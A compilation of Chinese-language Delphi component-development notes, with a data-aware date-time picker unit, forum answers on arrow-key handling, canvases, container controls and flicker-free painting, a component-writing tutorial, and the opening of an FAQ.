type

TRRSDBDateTime = class(TRRSDateTime)

private

FDataLink: TFieldDataLink;

FReadOnly: Boolean;

procedure DataChange(Sender: TObject);

function GetDataField: string;

procedure SetDataField(const Value: string);

function GetDataSource: TDataSource;

function GetDate: TDateTime;

function GetField: TField;

function GetTime: TDateTime;

procedure SetDataSource(const Value: TDataSource);

procedure SetReadOnly(const Value: Boolean);

procedure UpdateData(Sender: TObject);

procedure WMCut(var Message: TMessage); message WM_CUT;

procedure WMPaste(var Message: TMessage); message WM_PASTE;

procedure CMExit(var Message: TCMExit); message CM_EXIT;

procedure CMGetDataLink(var Message: TMessage); message CM_GETDATALINK;

protected

procedure Change; override;

procedure KeyDown(var Key: Word; Shift: TShiftState); override;

procedure KeyPress(var Key: Char); override;

procedure Loaded; override;

procedure Notification(AComponent: TComponent; Operation: TOperation); override;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

function ExecuteAction(Action: TBasicAction): Boolean; override;

function UpdateAction(Action: TBasicAction): Boolean; override;

property Field: TField read GetField;

published

property DataField: string read GetDataField write SetDataField;

property DataSource: TDataSource read GetDataSource write SetDataSource;

property ReadOnly: Boolean read FReadOnly write SetReadOnly default False;

property Date: TDateTime read GetDate;

property Time: TDateTime read GetTime;

end;

procedure Register;

implementation

procedure Register;

begin

RegisterComponents('Win32', [TRRSDateTime]);

RegisterComponents('Data Controls', [TRRSDBDateTime]);

end;

{ TRRSDateTime }

procedure TRRSDateTime.CheckEmptyDate;

begin

/// Do Nothing

end;

constructor TRRSDateTime.Create(AOwner: TComponent);

var

i : integer;

DefaultLCID : LCID;

begin

inherited;

DefaultLCID := GetThreadLocale;

FShortDateFormat := GetLocaleStr(DefaultLCID, LOCALE_SSHORTDATE, 'yy.M.dd');

FLongDateFormat := GetLocaleStr(DefaultLCID, LOCALE_SLONGDATE, 'yyyy.MM.dd');

FLongTimeFormat := GetLocaleStr(DefaultLCID, LOCALE_STIMEFORMAT, 'hh:mm:ss tt');

FShortTimeFormat := FLongTimeFormat;

i := Pos('s', FShortTimeFormat);

if i > 0 then begin

if FShortTimeFormat[i - 1] = TimeSeparator then

Delete(FShortTimeFormat, i - 1, 1);

end;

dec(i);

while i > 0 do begin

Delete(FShortTimeFormat, i, 1);

i := Pos('s', FShortTimeFormat);

end;

end;

procedure TRRSDateTime.CreateWnd;

begin

inherited;

if Kind = dtkTime then begin

if DateFormat = dfShort then begin

if FShortTimeFormat > '' then

SendMessage(Handle, DTM_SETFORMAT, 0, LongInt(PChar(FShortTimeFormat)));

end else begin

if FLongTimeFormat > '' then

SendMessage(Handle, DTM_SETFORMAT, 0, LongInt(PChar(FLongTimeFormat)));

end;

end else begin

if DateFormat = dfShort then begin

if FShortDateFormat > '' then

SendMessage(Handle, DTM_SETFORMAT, 0, LongInt(PChar(FShortDateFormat)));

end else begin

if FLongDateFormat > '' then

SendMessage(Handle, DTM_SETFORMAT, 0, LongInt(PChar(FLongDateFormat)));

end;

end;

end;

function TRRSDateTime.GetDateFormat: TDTDateFormat;

begin

Result := inherited DateFormat;

end;

function TRRSDateTime.GetKind: TDateTimeKind;

begin

Result := inherited Kind;

end;

procedure TRRSDateTime.SetDateFormat(Value: TDTDateFormat);

begin

inherited DateFormat := Value;

end;

procedure TRRSDateTime.SetKind(Value: TDateTimeKind);

begin

if inherited Kind = Value then exit;

inherited Kind := Value;

if Kind = dtkTime then

DateMode := dmUpDown;

RecreateWnd;

end;

procedure TRRSDateTime.SetLongDateFormat(const Value: string);

begin

if FLongDateFormat = Value then exit;

FLongDateFormat := Value;

RecreateWnd;

end;

procedure TRRSDateTime.SetLongTimeFormat(const Value: string);

begin

if FLongTimeFormat = Value then exit;

FLongTimeFormat := Value;

RecreateWnd;

end;

procedure TRRSDateTime.SetShortDateFormat(const Value: string);

begin

if FShortDateFormat = Value then exit;

FShortDateFormat := Value;

RecreateWnd;

end;

procedure TRRSDateTime.SetShortTimeFormat(const Value: string);

begin

if FShortTimeFormat = Value then exit;

FShortTimeFormat := Value;

RecreateWnd;

end;

{ TRRSDBDateTime }

procedure TRRSDBDateTime.Change;

begin

FDataLink.Modified;

inherited;

end;

procedure TRRSDBDateTime.CMExit(var Message: TCMExit);

begin

try

FDataLink.UpdateRecord;

except

SetFocus;

raise;

end;

inherited;

end;

procedure TRRSDBDateTime.CMGetDataLink(var Message: TMessage);

begin

Message.Result := Integer(FDataLink);

end;

constructor TRRSDBDateTime.Create(AOwner: TComponent);

begin

inherited;

FReadOnly := False;

FDataLink := TFieldDataLink.Create;

FDataLink.Control := Self;

FDataLink.OnDataChange := DataChange;

FDataLink.OnUpdateData := UpdateData;

end;

procedure TRRSDBDateTime.DataChange(Sender: TObject);

begin

if FDataLink.Field = nil then begin

Checked := False;

DateTime := Now;

RecreateWnd;

Exit;

end;

with FDataLink.Field do

if IsNull then begin

Checked := False;

DateTime := Now;

RecreateWnd;

end else begin

Checked := True;

DateTime := AsDateTime;

RecreateWnd;

end;

end;

destructor TRRSDBDateTime.Destroy;

begin

FreeAndNil(FDataLink);

inherited;

end;

function TRRSDBDateTime.ExecuteAction(Action: TBasicAction): Boolean;

begin

Result := inherited ExecuteAction(Action) or (FDataLink <> nil)

and FDataLink.ExecuteAction(Action);

end;

function TRRSDBDateTime.GetDataField: string;

begin

Result := FDataLink.FieldName;

end;

function TRRSDBDateTime.GetDataSource: TDataSource;

begin

Result := FDataLink.DataSource;

end;

function TRRSDBDateTime.GetDate: TDateTime;

begin

Result:=inherited Date;

end;

function TRRSDBDateTime.GetField: TField;

begin

Result := FDataLink.Field;

end;

function TRRSDBDateTime.GetTime: TDateTime;

begin

Result:=inherited Time;

end;

procedure TRRSDBDateTime.KeyDown(var Key: Word; Shift: TShiftState);

begin

inherited KeyDown(Key, Shift);

if (Key = VK_DELETE) or ((Key = VK_INSERT) and (ssShift in Shift)) then

FDataLink.Edit;

end;

procedure TRRSDBDateTime.KeyPress(var Key: Char);

begin

inherited KeyPress(Key);

if (Key in [#32..#255]) and (FDataLink.Field <> nil)

and not FDataLink.Field.IsValidChar(Key) then

begin

MessageBeep(0);

Key := #0;

end;

case Key of

^H, ^V, ^X, #32..#255: FDataLink.Edit;

#27: begin

FDataLink.Reset;

Key := #0;

end;

end;

end;

procedure TRRSDBDateTime.Loaded;

begin

inherited;

if csDesigning in ComponentState then DataChange(Self);

end;

procedure TRRSDBDateTime.Notification(AComponent: TComponent;

Operation: TOperation);

begin

inherited Notification(AComponent, Operation);

if (Operation = opRemove) and (FDataLink <> nil) and (AComponent = DataSource) then

DataSource := nil;

end;

procedure TRRSDBDateTime.SetDataField(const Value: string);

begin

FDataLink.FieldName := Value;

end;

procedure TRRSDBDateTime.SetDataSource(const Value: TDataSource);

begin

if not (FDataLink.DataSourceFixed and (csLoading in ComponentState)) then

FDataLink.DataSource := Value;

if Value <> nil then Value.FreeNotification(Self);

end;

procedure TRRSDBDateTime.SetReadOnly(const Value: Boolean);

begin

FReadOnly := Value;

FDataLink.ReadOnly := Value;

end;

function TRRSDBDateTime.UpdateAction(Action: TBasicAction): Boolean;

begin

Result := inherited UpdateAction(Action) or (FDataLink <> nil)

and FDataLink.UpdateAction(Action);

end;

procedure TRRSDBDateTime.UpdateData(Sender: TObject);

begin

if not FDataLink.Editing then

FDataLink.Edit;

FDataLink.Field.AsDateTime := DateTime;

end;

procedure TRRSDBDateTime.WMCut(var Message: TMessage);

begin

FDataLink.Edit;

inherited;

end;

procedure TRRSDBDateTime.WMPaste(var Message: TMessage);

begin

FDataLink.Edit;

inherited;

end;

end.


构件得不到方向键的讯息

你必须拦截 WM_GETDLGCODE 才能处理方向键的讯息，在 WM_GETDLGCODE 的讯息处理 者中传回

DLGC_WANTARROWS。如果你不这样做，那方向键的功用就只能用来移动窗口焦点而己。

Max Nilson 的回答：

想要你的构件能够处理方向键，你必须要拦截 CM_WANTSPECIALKEY 构件讯息。 CM_WANTSPECIALKEY

构件讯息提供你比拦截 WM_GETDLGCODE

窗口消息更容易且灵活的判断方法来决定是否需要某些特殊键的讯息。当控制项收到任何一个特殊键时就会送出CM_WANTSPECIALKEY

构件讯息给控制项。

特殊键包括：VK_TAB、VK_LEFT、VK_RIGHT、VK_UP、VK_DOWN、VK_RETURN、VK_EXECUTE

、VK_ESCAPE 及 VK_CANCEL。如果讯息传回值是非零值，这个键就会被送至 KeyPress

方法以供处理，否则这个键的讯息会被送至构件的父控制项，以预设方式来处理。

一个简单的范例：

type

TMyComponent = class (TWinControl)

...

protected

procedure CMWantSpecialKey(var Message: TCMWantSpecialKey); message

CM_WANTSPECIALKEY;

...

end;

procedure TMyComponent.CMWantSpecialKey(var Message: TCMWantSpecialKey);

begin

inherited;

// 我们只想处理向左方向键，其它的特殊键都给 Windows 处理

if Message.CharCode = VK_LEFT then

Message.Result := 1;

end;

CM_WANTSPECIALKEY 构件讯息比 WM_GETDLGCODE

讯息更具有弹性的地方在这儿。我们甚至可以根据是按下的是哪个特殊键才决定是否处理这个键。例如，你的控制项有三张图像，你可以让使用者利用左右方向键来回检视它们，如果翻到最後一张图像再按向右键时，焦点就让它离开构件，剩下的全部都让

Delphi 来处理。


给没有Canvas的控件添加Canvas

回复人： torble(阿裕) ( ) 信誉：131 2002-7-13 19:59:25 得分:0

那么如何在 TButton 类中引入 Canvas 呢，看看 TCustomControl :

TCustomControl = class(TWinControl)

private

FCanvas: TCanvas;

procedure WMPaint(var Message: TWMPaint); message WM_PAINT;

protected

procedure Paint; virtual;

procedure PaintWindow(DC: HDC); override;

property Canvas: TCanvas read FCanvas;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

end;

{ TCustomControl }

constructor TCustomControl.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FCanvas := TControlCanvas.Create;

TControlCanvas(FCanvas).Control := Self;

end;

destructor TCustomControl.Destroy;

begin

FCanvas.Free;

inherited Destroy;

end;

procedure TCustomControl.WMPaint(var Message: TWMPaint);

begin

Include(FControlState, csCustomPaint);

inherited;

Exclude(FControlState, csCustomPaint);

end;

procedure TCustomControl.PaintWindow(DC: HDC);

begin

FCanvas.Lock;

try

FCanvas.Handle := DC;

try

TControlCanvas(FCanvas).UpdateTextFlags;

Paint;

finally

FCanvas.Handle := 0;

end;

finally

FCanvas.Unlock;

end;

end;

procedure TCustomControl.Paint;

begin

end;

回复人： johnsonrao(johnson) ( ) 信誉：100 2002-7-13 20:54:22 得分:44

unit Button1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls;

type

TButton1 = class(TButton)

private

FCanvas: TCanvas;

//加一句

FControlState: TControlState;

procedure WMPaint(var Message: TWMPaint); message WM_PAINT;

protected

procedure Paint; virtual;

procedure PaintWindow(DC: HDC); override;

// property Canvas: TCanvas read FCanvas;

public

constructor Create(AOwner: TComponent); override;

destructor Destroy; override;

property Canvas: TCanvas read FCanvas;

end;

procedure Register;

implementation

constructor TButton1.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

FCanvas := TControlCanvas.Create;

TControlCanvas(FCanvas).Control := Self;

end;

destructor TButton1.Destroy;

begin

FCanvas.Free;

inherited Destroy;

end;

procedure TButton1.WMPaint(var Message: TWMPaint);

begin

Include(FControlState, csCustomPaint);

inherited;

Exclude(FControlState, csCustomPaint);

end;

procedure TButton1.PaintWindow(DC: HDC);

begin

FCanvas.Lock;

try

FCanvas.Handle := DC;

try

TControlCanvas(FCanvas).UpdateTextFlags;

Paint;

finally

FCanvas.Handle := 0;

end;

finally

FCanvas.Unlock;

end;

end;

procedure TButton1.Paint;

begin

end;

procedure Register;

begin

RegisterComponents('Samples', [TButton1]);

end;

end.


DELPHI构件制作方法

Delphi作为 RAD工具，以其快速编译和友好的可视化界面受到广泛欢迎。 Delphi提供了很多现成构件，而且随着版本更新不

断增加新构件。另外还可以买到第三方开发的特色构件，或从因特网下载免费构件。这些构件足以支持一般应用系统开发。但应用开发人员仍有必要自己制作构件。

采用构件形式可以把对象严密封装，并加上一层直观外壳，有利于软件调试和代码重用。开发群体以构件为功能单位分工协作，

比较容易实现工程化管理，从软件规划设计到测试修改都可以减少意外差错，大大提高工作效率。成熟的构件还可以作为商品软件出售，带来附加效益，且有利于软件开发的社会化分工协作。 Delphi 的构件使用和构件制作采用同样的工作环境和相似的编程方法，只要弄清基本原理，制作构件无需学习多少新东西。

基本概念

制作构件的基本过程可以概括为：

1．编写构件单元（ unit）。其中包含构件声明和构件实现代码。

2．按照与普通 Delphi单元同样的方法编译和调试构件单元。

3．创建构件注册单元。其中用 uses语句连接构件单元，并用 Register过程完成构件的注册。

4．编写构件联机帮助信息，并编译成标准 Windows帮助文件。

全部工作完成后，生成构件单元二进制文件（． DCU）、构件注册源文件（． PAS）和帮助信息文件（． HLP）及附加的关键词文件

（． KWF）。用户拿到这些文件后，就可以安装使用了。在 Delphi 环境下调用菜单命令，启动安装过程（安装过程中需指定注册文件名），可以把构件注册到 Delphi的 VCL库中，并在构件工具条上生成一个新按钮。借助 HelpInst安装工具可以把关键词文件并入 Dephi帮助索引系统，用 F1键实现联机帮助。

这样制作出的． DCU文件与一般 Delphi单元没有根本区别，即使不安装到 VCL库中也可以由其他单元直接调用。最大的区别在

于：构件单元中某些属性和事件声明为 published，从而在程序设计期对用户是可见的，用户可以通过对象编辑窗口

（ ObjectInspector）访问这些属性和事件。这是可视化程序设计的关键所在。

对象的继承与修改

制作构件第一件事就是选择适当的 Delphi对象类型作为父对象，以派生新的对象。子对象可以继承父对象的全部非 private部

件，但不能摆脱不需要的部件。因此，所选父对象应尽可能多地包含子对象所需的属性、事件和方法，但不应包含子对象不需要的东西。

TComponent是所有 Delphi构件的基点，但若直接从 TComponent 派生新构件，很多东西就需要自己从头做起。一般只有非可视构件

才直接从 TComponent派生。 Delphi提供了若干专门用于制作控件（可视构件）的对象类型，都是从 TControl和 TWinControl派生

而来。其派生关系如下：

TControl－－－ TGraphicControl－－－ TCustomLabel

TWinControl－－ TCustomControl－－－ TCustomGrid

－－－ TButtonControl－－ TCustomGroupBox

－－－ TScrollingWinControl－－ TCustomPanel

－－－ TCustomComboBox

－－－ TCustomEdit

－－－ TCustomListBox

TControl的子类型用于非窗口式控件， TWinControl的子类型则用于窗口式控件。除非特殊需要，一般不直接从 TControl和

TWinControl派生新控件，而是从其子类型派生。这样可以充分利用原有的属性、事件和方法，减少很多工作量。

在这些构件类型中，非通用的属性、事件和方法都声明为 protected。这样可以禁止构件用户访问，又能被子类型继承和修

改。在新构件中，可以简单地把继承来的属性和事件重新声明为 published，使构件用户能在设计期通过对象编辑窗口访问，也可以进而修改属性的默认值和读写方式，或是重载（ override）事件处理子过程和其他构件方法，以修改其中的程序代码。重声明可以放宽访问权限，但不能 相反，例如，不可能把 published属性重声明为 private或 pro tected。

为了增加新功能，常常需要定义全新的属性、事件和方法。定义时，一般总是把对用户开放的属性和事件声明为 published，把

方法声明为 public或 protected。

构件属性

在构件中，属性和方法往往可以相互替代。对构件用户来说，属性比方法更直观简便。因此，只要可能，应尽量以属性取代方法。 属性类型包括简单类型（ numeric， character， string）、枚举类型、集合类型、对象类型（例如 font）和数组类型（例如 TStrings 类型中的 Strings）。其定义方法如下：

type

private

FLayers： Integer；｛内部存储用的变量｝

functionGetLayers： Integer；｛用来读属性值的方法｝

procedureSetLayers（ ALayers： Integer）；｛用来写属性值的方法｝

published

propertyLayers：

IntegerreadGetLayerswriteSetLayersdefault1；

end；

每个属性都需要相应的 private变量用于内部存储。按照约定，变量名以 F打头，后跟属性名（此处为 Layers），读写方法名

称分别为 Get加属性名和 Set加属性名。写方法总是带一个与属性类型相同的参数，用以传送属性值。此参数可以传值，也可以传递变量。如果不定义写方法（省略 write部分），此属性便成为只读属性。读写方法应该在 pri vate部分声明，以使其对构件用户和构件的派生对象保持隐蔽。

读写方法除了取值和赋值之外，还可以附加其他操作代码，使属性读写产生附加效应。这正是属性可以取代方法的原因。如果不

需要附加效应，可以不定义读写方法，采用直接访问格式来声明属性：

propertyLayers：

IntegerreadFLayerswriteFLayersdefault1；

default命令符用来指定属性的默认值，同时需要在构件的构造函数中为属性设置初值。 default命令的作用是在窗体文件存盘

时提供参照：若属性当前值与 default命令指定的值不同，则把当前值保存在文件中，否则便无需保存。如果省略 default命令，属性当前值总是保存在窗体文件中。

事件与事件处理过程

创建构件时，事件也被当做属性来处理，区别仅在于事件必须定义为过程类型，使其成为一个隐蔽指针，指向某个潜在的过程。

当构件用户为事件指定处理子程序后，事件便成为指向该子程序的指针。事件的定义方式如下：

type

private

FOnClick： TNotifyEvent；｛声明事件变量以保存过程指针｝

published

propertyOnClick：

TNotifyEventreadFOnClickwriteFOnClick；

end；

此例正是 Delphi标准控件中 Click事件的定义方式。可以看出，除了 OnClick被定义为过程类型外，其定义格式与一般属性的

直接访问格式几乎完全相同。 Delphi预定义了所有标准事件的过程类型及标准事件所引发的虚方法。其中， Click事件将引发如下

虚方法：

procedureTControl． Click；

begin

ifAssigned（ OnClick） thenOnClick（ Self）；

｛以下是默认处理部分｝

end；

其中， Assigned函数检验 OnClick是否已分配了事件处理过程。如果返回值为 True，则调用用户指定的事件处理过程。通过

重载此虚方法，可以修改 Click事件的处理方式。在重载的方法中，一般应先调用用户处理程序，然后再安排后续处理。在本例中，首行代码应当是 inheritedClick。

需要注意的是，构件用户不一定会给事件指定处理程序，因此事件不能定义为函数类型，否则可能会指向返回值类型不定的空函

数。如果需要事件处理过程返回某个值，可以借助 var参数。调用用户程序之前应确保此参数包含有效返回值，以免用户未指定事件处理过程时出错。

如果 Delphi标准事件不能满足需要，也可以自己定义事件。其核心思想是选择适当的 Windows消息来引发构件中的事件过程。

篇幅所限，不拟详述，请读者参阅有关资料。

方法处理要点

方法处理在创建构件时和使用构件时没有多大区别，但有些问题仍需要注意。

首先要注意的是，构件通常是在事件处理过程中调用，而构件作者又无法预测用户将在什么环境下如何调用构件。因此，构件中

的方法应尽量避免占用系统资源，避免使 Windows停止对用户操作的反应。 创建构件时应随时意识到，此构件不仅可以直接调用，而且可用来创建别的构件。即使是对用户隐蔽的方法也应具有完整的功能和清晰的接口。除了属性读写方法之外，内部方法一般应声明为 protected虚方法，以便被派生对象继承和重载。属性读写方法则应采用 private声明严密保护。派生对象如果需要读写父对象的属性值，应该访问属性本身，没有必要直接访问其读写方法。

构件测试

制作构件的核心工作是编写构件单元，包括根据构件功能要求设定对用户开放的属性、事件和方法，设定用以实现这些部件的变

量、过程和函数等等。除了属性和事件有 特殊格式之外，构件单元的设计方式与一般 Delphi单元没有什么不同，只是单元中不

能包含窗体。

在编写构件单元的过程中，可以借助一个测试窗体直接对其测试。以可视化方法在窗体上安排构件，本质上不过是自动生成调用

构件的代码。即使构件未并入 VCL库，无法使用可视化操作，也可以手工编写这些调用代码。这样测试，可以免去反复修改而导致的反复安装。

测试时，需先建立一个窗体单元，然后进行以下操作：

1．把被测构件单元名称加入窗体单元的 uses语句中，并在 public部分声明被测构件的对象实例。

2．在窗体单元的 FormCreate子程序中调用被测构件的 Create方法，以构造构件实例，其 Owner参数设置为 Self，即窗体本身。

然后给 Parent属性赋值，并适当设置其他属性值。 Parent是容纳构件的父对象，如果是窗体本身，应设置为 Self。

3．运行包含测试窗体的工程，找出构件程序中的错误。

注册构件

注册构件用的程序代码可以放在构件单元中，但在 Delphi下注册构件时要求提供包含注册代码的源程序文件（． PAS文件），

因此，比较好的方式是把构件核心代码编译成． DCU文件或． DLL 动态链接库，在注册源文件中只放注册代码和外围程序。下面是注册代码实例：

type

TMyPanelΚ class（ TCustomPanel）

TMyLabelΚ class（ TCustomLabel）

procedureRegister；

implementation

procedureRegister；

begin

RegisterComponents（′ Samples′，［ TMyPanel， TMyLabel］）；

end；

注册过程名必须是 Register。过程体中调用 Register Compnents，其中的两个参数分别指定 Delphi构件工具条页名和要注册的构件类型。如果指定页不存在， Delphi将创建一个新页。

Delphi环境提供了一个构件生成器（ componentex pert）， 可用来自动生成注册单元。

构件工具条上每个构件需要一个 24× 24点阵 bitmap图标。图标可以借助 Delphi的 ImageEditor编辑生成，以． DCR资源文件

的形式提供给构件用户，文件与注册单元文件相同。如果不提供此文件， Delphi将采用默认图标。

提供联机帮助

一个成熟的构件，无论是用于开发群体还是用做商品软件，都要有联机帮助信息才能正常使用。 Delphi的帮助信息与 Windows

一般帮助信息结构基本上相同，其编写方法可参见有关资料。但 Delphi包含一个特殊的帮助搜索引擎，能跨越多个帮助文件搜索

关键词。因此，在构件帮助文件中不仅要有普通 K型关键词脚注，还要包含 Delphi所用的 B型关键词脚注。脚注内容有如下约定：

在 Delphi的对象编辑窗口和代码编辑窗口中，用 F1键可以引发帮助搜索引擎，通过 B型关键词调出有关帮助主题。为了实现这

种帮助机制，需借助 KeywordGenerate程序来生成关键词文件（． KWF），与帮助信息文件（． HLP）一起交给构件用户。用户借

助 HelpInst程序把关键词文件内容并入 Delphi主帮助索引文件（． HDX）中。

构件联机帮助信息应当与 Delphi标准构件帮助信息格式相同。编写帮助文件时最好遵循如下约定：

1．每个构件有一个单独的帮助主题（ Topic），内容包含构件简介及用户可见的属性、事件和方法列表。

2．新增的及修改较大的属性、事件和方法均应有单独的帮助主题，其中应包含所属构件、用途、声明格式等内容。

3．每个帮助主题都应包含 K型脚注，以便用 F1键引发。


控件可以容纳其他控件

要使一个控件可以作为控件容器，其实只要使ControlStyle属性（集合类型）包含csAcceptsControls元素就可以了ControlStyle:= ControlStyle + [csAcceptsControls];

例如Delphi 5原来的状态栏控件不支持包含其他控件，改成下面的就可以了。需要扩展一下statusbar,加一个属性就行．分归我了．

//----------------------------------------------------------------------//

//扩展StatusBar

//加入特性：允许在状态条上加入任意控件

type

TMStatusBar=Class(TStatusBar)

private

protected

public

constructor Create(AOwner: TComponent); override;

published

end;

//TMStatusBar 事件扩展

constructor TMStatusBar.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

ControlStyle:= ControlStyle + [csAcceptsControls];

end;

**********************

仅仅利用Delphi自身的功能，不写任何代码，让一个控件可以容纳另外一个控件？

例如在一个Button里面包含另外一个Button？

答：查看和修改DFM文件即可！把另外一个Button的描述放在另外一个Button的定义里面就可以了！然后把窗体切换回来看看？：）。原创：ZsWang。

评论：这个方法简单可行！以前也直接修改过DFM文件，例如，在程序设计初期，对于窗体没有好好设计，后来加了一个Panel，需要把其他控件放到Panel里面，我就手工该过！当然你也可以利用C/P大法来修改。：），不过这样你了解得更多，可惜我没有把这个功能和题目要求联想起来。 :-(


关于控件的刷新

我写了一个组件a，继承于Component,重载它的paint(),

update() 方法。 这个组件主要是实现一个动画，在paint()中通过位置来画出一幅

画。 我在一个Applet中（继承Runnable接口） 调用这个组件，在Applet的run()中

有个循环，每隔一段时间调用a.repaint(). 结果整个图象闪烁地很厉害。请教各位大

虾怎么解决？

每次更改图象时调用Invalidate;方法！或者在重画之前Canvas.Lock,画完之后Canvas.UnLock。

如果构件的 ComponentStyle 属性没有包含 csOpaque 旗帜的话，调用

Invalidate方法时会导致构件的背景先被擦掉再重绘。如果你在 Paint 方法中绘制

背景，那你应该在构件的建构函式中加上：

ComponentStyle := ComponentStyle + [csOpaque];

最好就是不重画背景。

这有个俄国佬写的小例子，可以借鉴一下：

unit FFPBox;

{=======================================================}

interface

{=======================================================}

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls;

type

TFFPaintEvent = procedure (Sender: TObject; Canvas: TCanvas) of Object;

TFlickerFreePaintBox = class(TCustomControl)

private

{ Private declarations }

FOnFFPaint:TFFPaintEvent;

protected

{ Protected declarations }

procedure Paint; override;

procedure WMEraseBkgnd(var Message: TWMEraseBkgnd); message WM_ERASEBKGND;

public

{ Public declarations }

constructor Create(AOwner: TComponent); override;

published

{ Published declarations }

property OnPaint:TFFPaintEvent read FOnFFPaint write FOnFFPaint;

property Align;

property Color;

property DragCursor;

property DragMode;

property Enabled;

property Font;

property ParentColor;

property ParentFont;

property ParentShowHint;

property PopupMenu;

property ShowHint;

property Visible;

property OnClick;

property OnDblClick;

property OnDragDrop;

property OnDragOver;

property OnEndDrag;

property OnMouseDown;

property OnMouseMove;

property OnMouseUp;

property OnStartDrag;

end;

procedure Register;

{=======================================================}

implementation

{=======================================================}

constructor TFlickerFreePaintBox.Create(AOwner: TComponent);

begin

inherited Create(AOwner);

TabStop := False;

end;

{-------------------------------------------------------}

procedure TFlickerFreePaintBox.Paint;

var bmp: TBitmap;

begin

if csDesigning in ComponentState then

with Canvas do

begin

Pen.Style := psDash;

Brush.Style := bsSolid;

Canvas.Brush.Color := Color;

Rectangle(0, 0, Width, Height);

exit;

end;

bmp := TBitmap.Create;

try

bmp.Canvas.Brush.Color := Color;

bmp.Width := Width;

bmp.Height := Height;

bmp.Canvas.Font := Font;

if Assigned(FOnFFPaint) then begin

FOnFFPaint(Self, bmp.Canvas);

Canvas.Draw(0,0, bmp);

end;

finally

bmp.Free;

end;

end;

{-------------------------------------------------------}

{------------------------关键之处-----------------------}

procedure TFlickerFreePaintBox.WMEraseBkgnd(var Message: TWMEraseBkgnd);

begin

Message.Result := 1;

end;

{=======================================================}

procedure Register;

begin

RegisterComponents('System', [TFlickerFreePaintBox]);

end;

end.


控件开发常见问题FAQ

目次

第一部分 简介

1.1 此份文档的目的为何？

第二部份 整合环境

2.1 在整合环境中如何找出构件所产生的问题？

2.2 如何检视Delphi所产生的汇编码？

2.3 我可以在运行时刻动态建立构件，但在设计时刻就会发生错误。为什麽？

2.4 如何撰写一个无法放置到表格上的构件？

2.5 在程序码编辑器中快速切换程序区段最简单的方法是什麽？

2.6 如何使我的构件在按下鼠标右键时出现快速功能选单？

2.7 为什麽构件在设计时刻会出现『I/O 103』的错误？

2.8 为什麽构件编辑器不会将构件属性的变动储存起来？

第三部分 在构件中使用其它构件

3.1 如何在构件中加入卷轴构件并让它在设计时刻能动作？

3.2 如何建立Windows95式样的卷轴？

第四部分 Bound Controls

4.1 哪里可以找得到有关TDataLink类的说明文档？

4.2 如何得知一个dataset中有几笔记录？

第五部分 VCL

5.1 使用整合环境调试时如何追踪检视VCL构件的程序码？

5.2 我的构件叁考到其它构件，如何得到叁考构件被消灭的讯息？

5.3 什麽是构件讯息？

5.4 我的构件得到输入焦点後仍不能接受键盘讯息，为什麽？

第六部分 其它信息

6.1 有哪些书介绍或讲解如何撰写构件？

6.2 有哪些Web站台可以取得撰写构件的信息？

第七部分 构件的储存与载入

7.1 如何将包含其它对象的对象一起存入DFM档？

7.2 如何得知构件是否正从数据流中读出？

7.3 如何确定构件的属性是否被正确地储存？

第八部分 工具程序

8.1 有没有Delphi版本的 YACC 及 LEX？

8.2 如何秀出JPEG格式图形档？

第九部分 基本编程技巧

9.1 如何建立不定数目的对象数组？

9.2 Delphi 2.0的 WinCrt 单元到哪去了？

9.3 自制构件时该从哪个类继承？

第十部分 进阶编程技巧

10.1 Delphi有与 C++ 一样的 I/O Stream 类吗？

10.2 如何取得列举型态变量的文字表示？

第十一部分 构件虚拟方法

11.1 如何得知构件的 window handle 是何时建立的？

11.2 如何得知是否表格上所有构件都已载入完成？

11.3 在哪里绘制构件最适合？

11.4 如何改变构件的窗口式样？

第十二部分 Windows API

12.1 构件卷动时闪动的很厉害，如何克服这种情况？

12.2 如何重新启动Windows？

12.3 如何快速大量地更改构件数据？

第十三部分 控制项边框

13.1 为什麽我的构件的 Ctl3D 属性设为 True 之後，它依然没有 3D 的边框呢？

13.2 如何实作 BorderStyle 属性？

第十四部分 控制项式样

14.1 当构件重绘时如何防止闪动的情况？

第十五部分 窗口消息

15.1 为什麽我的构件得不到方向键的讯息？

15.2 有没有与 Visual Basic『DoEvents』同样功能的函式？

--------------------------------------------------------------------------------

第一部分 简介

1.1 此份文档的目的为何？

这份文档的目的是为了解答有关撰写 Delphi构件时常见或文档上找不到的问题。我曾经花了一段很长的时间来了解探索 TDataLink 类，这让我觉得应该将撰写构件时常遇到的问题及经验心得写下来，分享给大家。不过我并不能保证写在这份文档里头的解答完全正确。如果你对其中的任何问题有更好的解决方法，或认为有什麽信息适合放在这份文档里的话，请告知作者。有任何错误或缺漏也欢迎指正。

除了再加上更多的问题及解答外，我试着再补充两个部分：

进阶编程师喜爱的工具：这也许跟构件设计没有直接的关系但至少它们跟 Delphi有关系。

值得叁考的文档刊物：由於空间的关系，这份文档不能放置太多的范例程序，因此叁考其它文档是十分需要的。这不是一份教材式的文档，我不会做太多条理式的说明，但会试着将最具有叁考价值的文献列出。

如果你有任何意见或建议，欢迎来信告诉我。

--------------------------------------------------------------------------------

第二部份 整合环境

2.1 在整合环境中如何找出构件所产生的问题？

我发现唯一能找出问题的方法只有：

在 Delphi 整合环境的 Tools|Options 对话框的 Library 页中将『Compile with debug info』选项打勾。

选 Component|Rebuild Library 重新编译构件库。

从 Turbo Debugger 中执行 Delphi。

选File|Change Dir移至包含构件程序码的目录下。

如果你的构件发生GPF时就可以检视堆栈然後得知到底是哪些发生问题了。

2.2 如何检视 Delphi 所产生的汇编码？

Glen Boyd 的回答：

开启登录编辑程序（REGEDIT.EXE），接着到『HKEY_CURRENT_USER2.0』下新增一个字符串机码『EnableCPU』，将它的字符串值设为『1』。此後Delphi整合环境的View选单下就会多一个『CPU』选项，它会开启一个窗口来检视目前程序指令的内存及汇编。你可以在侦错时利用单步追踪或其它方法来观察它。

2.3 我可以在运行时刻动态建立构件，但在设计时刻就会发生错误。为什麽？

你的构件必须继承自TComponent类或其衍生类。

你的构件建构函式及灭构函式宣告必须看起来像这样：

constructor Create(AOwner: TComponent); override;

destructor Destroy; override ;

